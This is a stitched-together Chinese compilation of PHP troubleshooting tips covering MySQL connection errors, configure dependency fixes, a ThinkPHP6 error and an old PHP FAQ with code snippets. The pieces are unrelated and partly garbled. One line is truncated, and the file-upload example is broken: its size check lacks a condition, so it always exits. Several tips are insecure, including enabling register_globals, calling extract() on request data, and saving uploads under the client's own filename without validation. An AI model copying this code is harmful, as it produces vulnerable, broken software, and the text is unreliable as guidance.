php无法连接mysql问题解决方法总结本文章总结了在php开发中可能会常常碰到的一些php连接不了mysql数据库的一些问题总结与解决方法分享,有需要的朋友可参考一下。
问题一今天给本本装上mysql和php,一切安装都很正常(php@IIS7.5-fastCGI)。
但用phpmyadmin连接测试时却出现“#2002无法连接”的错误,用其它程序也是同样问题。
检查了下,php的mysql扩展正确安装,mysql服务正常启动--那就奇了怪了。
又用navicat连接,居然连上了。
看来是php和mysql间的通讯出了问题。
百度了一下,问题被揪出来了:mysql_connect()函数数据库服务器(server)参数当前设置为localhost,但当其更改为127.0.0.1后又可以正常访问。
系统hosts文件未提供127.0.0.1到localhost的解析。
解决方法(以win7系统为例):找到C:\Windows\System32\drivers\etc \hosts文件,默认为只读,你需要复制一份到其他路径如桌面,打开文件(打开方式:记事本),在文件末尾添加:127.0.0.1 localhost如果已存在去掉其前面的“#”。
问题二php脚本可以正常运行,如phpinfo()。
只要一出现“mysql_connect”函数,就没反应,也不报错。
如 $conn = mysql_connect("127.0.0.1","root","xxxx") or die("MYSQL数据库连接失败:".mysql_error());apache日志目录error.log中出现PHP Warning: PHP Startup: Unable to load dynamic library 'c:\\php \\ext\\php_mysql.dll'解决办法将“libmysql.dll”复制到apache的bin目录下。
PHP编译configure时常见错误的总结PHP编译configure时常见错误的总结PHP的安装虽然有时候很简单,可是如果应⽤⼀多,我们安装起来就很头痛了!出错最多的就是安装PHP扩展的时候了。
其实不管是你是Apache类的应⽤还是Nginx类的,PHP的安装都不是很简单,虽然⽹上有很多configure参数,但是那不⼀定是适合你的,因为很多都直接关系着你的系统版本和内核。
因此要⾃⼰亲⾃不断的调试,才能完全安装成功。
本⽂总结了⼀些常见的configure错误信息和解决这些错误的经验。
1、configure: error: No curses/termcap library found⽹上有的说法是:–with-named-curses-libs=/usr/lib/libncursesw.so.5 其实是不对的,虽然能解决configure的错误,但是make 的时候会提⽰错误,正确的做法应该是centos: yum -y install ncurses-develdebian: apt-get install libncurses5-dev2、configure: error: xml2-config not found. Please check your libxml2 installation.centos: yum -y install libxml2 libxml2-develdebian : apt-get install libxml2-dev3、configure: error: Cannot find OpenSSL'scentos: yum -y install openssl-devel4、configure: error: libjpeg.(a|so) not foundcentos: yum -y install gdcentos: yum -y install gd-develdebian: apt-get install libjpeg-dev5、configure: error: libpng.(a|so) not found.apt-get install libpng12-dev6、configure: error: cannot find output from lex; giving upyum -y install flex7、configure: error: mod_deflate has been requested but can not be built due to prerequisite failurescentos: yum -y install zlib-devel openssl-develdebian: apt-get install zlib1g-dev8、configure: error: libxpm.(a|so) not found.centos: yum -y install libxpm-devdebian: apt-get install libxpm-dev9、configure: error: freetype.h not found.centos: yum install freetype-develdebian: apt-get install libfreetype6-dev10、configure: error: …No recognized SSL/TLS toolkit detectedcentos: yum -y install libssl-devdebian: apt-get install libssl-dev11、Configure: error: Please reinstall the BZip2 distributioncentos: yum install bzip2 bzip2-develdebian: apt-get install bzip2-devel12、Configure: error: Please reinstall the libcurl distribution – easy.h should be in /include/curl/centos: yum install curl curl-devel (For Redhat & Fedora)# install libcurl4-gnutls-dev (For Ubuntu)13、Configure: error: Unable to locate gmp.hcentos: yum install gmp-devel14、Configure: error: Cannot find MySQL header files under /usr. Note that the MySQL client library is not bundled anymore! yum install mysql-devel (For Redhat & Fedora)# apt-get install libmysql++-dev (For Ubuntu)15、Configure: error: Please reinstall the ncurses distributionSolutions :centos: yum install ncurses ncurses-devel16、Checking for unixODBC support… configure: error: ODBC header file ‘/usr/include/sqlext.h' not found!Solutions :centos: yum install unixODBC-devel17、Configure: error: Cannot find pspellSolutions :centos: yum install pspell-devel18、configure: error: mcrypt.h not found. Please reinstall libmcrypt.Solutions :yum install libmcrypt libmcrypt-devel (For Redhat & Fedora)# apt-get install libmcrypt-dev19、Configure: error: snmp.h not found. Check your SNMP installation.Solutions :yum install net-snmp net-snmp-devel20、开启LDAP服务还需要yum -y install openldap-devel openldap-servers openldap-clients21、configure: error: cannot find output from lex; giving upcentos: yum -y install flex22、configure: error: mod_deflate has been requested but can not be built due to prerequisite failurescentos: yum -y install zlib-devel openssl-develdebian: apt-get install zlib1g-dev以上就是php编译configure常见错误的总结,如有疑问请留⾔或者到本站社区交流讨论,感谢阅读,希望能帮助到⼤家,谢谢⼤家对本站的⽀持!。
thinkphp6call to undefined method error() "call to undefined method error()"这个错误提示通常表明在ThinkPHP6中调用了一个未定义的方法"error()"。
这可能是由于以下一些原因导致的:
1.方法未定义:确保你尝试调用的"error()"方法是存在于你的代码或者相关框架中的。
2.方法拼写错误:检查方法名的拼写,确保大小写和空格等都正确。
3.框架版本问题:确保你的ThinkPHP框架是最新版本,有时在不同版本之间可能存在方法的变化。
4.命名空间问题:如果你在不同的命名空间中工作,确保你正确引入了相关的类或使用了正确的命名空间。
poser依赖问题:如果你使用Composer进行依赖管理,检查你的
"composer.json"文件,确保所有的依赖都已经正确安装。
如果以上方法都没有解决问题,可能需要深入检查你的代码,尤其是涉及到错误处理的部分,以确定问题的具体原因。
也可以查阅相关的ThinkPHP文档或社区,看是否有其他人遇到过类似的问题并提供了解决方案。
1:为什么我得不到变量我在一网页向另一网页POST数据name,为什么输出$name时却得不到任何值?在PHP4.2以后的版本中register_global默认为off若想取得从另一页面提交的变量:方法一:在PHP.ini中找到register_global,并把它设置为on.方法二:在接收网页最前面放上这个extract($_POST);extract($_GET);(注意extract($_SESSION)前必须要有Session_Start()).方法三:一个一个读取变量$a=$_GET["a"];$b=$_POST["b"]等,这种方法虽然麻烦,但比较安全.2:调试你的程序在运行时必须知道某个变量为何值。
我是这样做的,建立一文件debug.php,其内容如下:PHP代码:--------------------------------------------------------------------------------复制代码1.2.Ob_Start();3.Session_Start();4.Echo "<pre>";5.6.Echo "本页得到的_GET变量有:";7.Print_R($_GET);8.9.Echo "本页得到的_POST变量有:";10.Print_R($_POST);11.12.Echo "本页得到的_COOKIE变量有:";13.Print_R($_COOKIE);14.15.Echo "本页得到的_SESSION变量有:";16.Print_R($_SESSION);17.Echo "</pre>";--------------------------------------------------------------------------------然后在php.ini中设置:include_path = "c:/php",并将debug.php放在此文件夹, 以后就可以在每个网页里包含此文件,查看得到的变量名和值.3:如何使用session凡是与session有关的,之前必须调用函数session_start();为session付值很简单,如:PHP代码:--------------------------------------------------------------------------------[php]Session_start();$Name = "这是一个Session例子";Session_Register("Name");//注意,不要写成:Session_Register("$Name");Echo $_SESSION["Name"];//之后$_SESSION["Name"]为"这是一个Session例子"[/php]--------------------------------------------------------------------------------在php4.2之后,可以为session直接付值:PHP代码:--------------------------------------------------------------------------------[php]Session_Start();$_SESSION["name"]="value";[/php]--------------------------------------------------------------------------------取消session可以这样:PHP代码:--------------------------------------------------------------------------------[php]session_start();session_unset();session_destroy();[/php]--------------------------------------------------------------------------------取消某个session变量在php4.2以上还有BUG.注意:1:在调用Session_Start()之前不能有任何输出.例如下面是错误的.==========================================1行2行[php]3行Session_Start();//之前在第一行已经有输出4行 .....5行[/php]==========================================提示1:凡是出现"........headers already sent..........",就是Session_Start()之前向浏览器输出信息.去掉输出就正常,(COOKIE也会出现这种错误,错误原因一样)提示2:如果你的Session_Start()放在循环语句里,并且很难确定之前哪里向浏览器输出信息,可以用下面这种方法:1行[php] Ob_Start(); [/php]........这里是你的程序......2:这是什么错误Warning: session_start(): open(/tmpsess_7d190aa36b4c5ec13a5c1649cc2da23f, O_RDWR) failed:....因为你没有指定session文件的存放路径.解决方法:(1)在c盘建立文件夹tmp(2)打开php.ini,找到session.save_path,修改为session.save_path= "c:/tmp"4:为什么我向另一网页传送变量时,只得到前半部分,以空格开头的则全部丢失PHP代码:--------------------------------------------------------------------------------[php]$Var="hello php";//修改为$Var=" hello php";试试得到什么结果$post= "receive.php?Name=".$Var;header("location:$post");[/php]--------------------------------------------------------------------------------receive.php的内容:PHP代码:--------------------------------------------------------------------------------[php]Echo "<pre>";Echo $_GET["Name"];Echo "</pre>";[/php]--------------------------------------------------------------------------------正确的方法是:PHP代码:--------------------------------------------------------------------------------[php]$Var="hello php";$post= "receive.php?Name=".urlencode($Var);header("location:$post");[/php]--------------------------------------------------------------------------------在接收页面你不需要使用Urldecode(),变量会自动编码.5:如何截取指定长度汉字而不会出现以"[/php]"结尾,超出部分以"..."代替一般来说,要截取的变量来自Mysql,首先要保证那个字段长度要足够长,一般为char(200),可以保持100个汉字,包括标点.PHP代码:--------------------------------------------------------------------------------[php]$str="这个字符好长呀,^_^";$Short_Str=showShort($str,4);//截取前面4个汉字,结果为:这个字符...Echo "$Short_Str";Function csubstr($str,$start,$len){$strlen=strlen($str);$clen=0;for($i=0;$i<$strlen;$i++,$clen++){if ($clen>=$start+$len)break;if(ord(substr($str,$i,1))>0xa0){if ($clen>=$start)$tmpstr.=substr($str,$i,2);$i++;}else{if ($clen>=$start)$tmpstr.=substr($str,$i,1);}}return $tmpstr;}Function showShort($str,$len){$tempstr = csubstr($str,0,$len);if ($str<>$tempstr)$tempstr .= "..."; //要以什么结尾,修改这里就可以.return $tempstr;}--------------------------------------------------------------------------------6:规范你的SQL语句在表格,字段前面加上"`",这样就不会因为误用关键字而出现错误,当然我并不推荐你使用关键字.例如$Sql="INSERT INTO `xltxlm` (`author`, `title`, `id`, `content`, `date`) VALUES ('xltxlm', 'use`', 1, 'cri terion your sql string ', '2003-07-11 00:00:00')""`"怎么输入? 在TAB键上面.7:如何使Html/PHP格式的字符串不被解释,而是照原样显示PHP代码:--------------------------------------------------------------------------------[php]$str="<h1>PHP</h1>";Echo "被解释过的: ".$str."<br>经过处理的:";Echo htmlentities(nl2br($str));[/php]--------------------------------------------------------------------------------8:怎么在函数里取得函数外的变量值PHP代码:--------------------------------------------------------------------------------[php]$a="PHP";foo();Function foo(){global $a;//删除这里看看是什么结果Echo "$a";}[/php]--------------------------------------------------------------------------------9:我怎么知道系统默认支持什么函数PHP代码:--------------------------------------------------------------------------------[php]$arr = get_defined_functions();Function php() {}echo "<pre>";Echo "这里显示系统所支持的所有函数,和自定以函数phpn";print_r($arr);echo "</pre>";[/php]--------------------------------------------------------------------------------10:如何比较两个日期相差几天PHP代码:--------------------------------------------------------------------------------[php]$Date_1="2003-7-15";//也可以是:$Date_1="2003-6-25 23:29:14";$Date_2="1982-10-1";$Date_List_1=explode("-",$Date_1);$Date_List_2=explode("-",$Date_2);$d1=mktime(0,0,0,$Date_List_1[1],$Date_List_1[2],$Date_List_1[0]);$d2=mktime(0,0,0,$Date_List_2[1],$Date_List_2[2],$Date_List_2[0]);$Days=round(($d1-$d2)/3600/24);Echo "偶已经奋斗了$Days 天^_^";[/php]--------------------------------------------------------------------------------11:为什么我升级PHP后,原来的程序出现满屏的Notice: Undefined variable:这是警告的意思,由于变量未定义引起的.打开php.ini,找到最下面的error_reporting,修改为error_reporting = E_ALL & ~E_NOTICE对于Parse error错误error_reporting(0)无法关闭.如果你想关闭任何错误提示,打开php.ini,找到display_errors,设置为display_errors = Off.以后任何错误都不会提示.那什么是error_reporting?12:我想在每个文件最前,最后面都加上一文件.但一个一个添加很麻烦1:打开php.ini文件设置include_path= "c:"2:写两个文件auto_prepend_file.php 和auto_append_file.php 保存在c盘,他们将自动依附在每个php文件的头部和尾部.3:在php.ini中找到:Automatically add files before or after any PHP document.auto_prepend_file = auto_prepend_file.php;依附在头部auto_append_file = auto_append_file.php;依附在尾部以后你每个php文件就相当于PHP代码:--------------------------------------------------------------------------------[php]Include "auto_prepend_file.php" ;.......//这里是你的程序Include "auto_append_file.php";[/php]--------------------------------------------------------------------------------13:如何利用PHP上传文件PHP代码:-------------------------------------------------------------------------------- [php]<html><head><title>上载文件表单</title></head><body><form enctype="multipart/form-data" action="" method="post">请选择文件:<br><input name="upload_file" type="file"><br><input type="submit" value="上传文件"></form></body></html>$upload_file=$_FILES['upload_file']['tmp_name'];$upload_file_name=$_FILES['upload_file']['name'];if($upload_file){$file_size_max = 1000*1000;// 1M限制文件上传最大容量(bytes) $store_dir = "d:/";// 上传文件的储存位置$accept_overwrite = 1;//是否允许覆盖相同文件// 检查文件大小echo "对不起,你的文件容量大于规定";exit;}// 检查读写文件if (file_exists($store_dir . $upload_file_name) && !$accept_overwrite) { Echo "存在相同文件名的文件";exit;}//复制文件到指定目录if (!move_uploaded_file($upload_file,$store_dir.$upload_file_name)) { echo "复制文件失败";exit;}}Echo "<p>你上传了文件:";echo $_FILES['upload_file']['name'];echo "<br>";//客户端机器文件的原名称。